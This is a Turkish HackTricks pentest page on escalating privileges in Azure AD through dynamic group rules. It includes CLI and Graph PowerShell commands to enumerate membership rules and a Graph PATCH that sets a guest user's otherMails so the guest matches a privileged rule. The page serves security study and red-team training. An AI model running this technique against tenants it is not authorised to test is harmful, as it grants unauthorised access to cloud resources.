Az - Dinamik Gruplar Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Dinamik gruplar, bir dizi kural yapılandırılmış olan ve kurallara uyan tüm kullanıcıların veya cihazların gruba eklendiği gruplardır. Her kullanıcı veya cihazın bir özelliği değiştiğinde, dinamik kurallar yeniden kontrol edilir. Ve bir yeni kural oluşturulduğunda tüm cihazlar ve kullanıcılar kontrol edilir.

Dinamik gruplara Azure RBAC rolleri atanabilir, ancak dinamik gruplara AzureAD rolleri eklemek mümkün değildir.

Bu özellik Azure AD premium P1 lisansı gerektirir.

Privesc

Varsayılan olarak herhangi bir kullanıcının Azure AD’de misafirleri davet edebileceğini unutmayın; bu nedenle, eğer bir dinamik grup kuralı yeni bir misafirte ayarlanabilecek özniteliklere dayanarak kullanıcılara izinler veriyorsa, bu özniteliklere sahip bir misafir oluşturmak ve ayrıcalıkları yükseltmek mümkündür. Ayrıca bir misafir kendi profilini yönetip bu öznitelikleri değiştirebilir.

Dinamik üyeliğe izin veren grupları al: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Dinamik Gruplar Enumerasyonu

Bir dinamik grubun kurallarını alın:

With Azure CLI:

az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table

PowerShell ve Microsoft Graph SDK ile:

Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph

Connect-MgGraph -Scopes "Group.Read.All"

Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes

# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState

$g | Select-Object DisplayName, GroupTypes, MembershipRule

# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule

Örnek

  • Kural örneği: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Kural açıklaması: String ‘security’ içeren bir ikincil e-posta adresine sahip herhangi bir Guest kullanıcı gruba eklenecektir

Guest kullanıcı e-postası için daveti kabul edin ve o kullanıcının mevcut ayarlarını şu adreste kontrol edin https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Ne yazık ki sayfa öznitelik değerlerini değiştirmeye izin vermiyor, bu yüzden API’yi kullanmamız gerekiyor:

# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin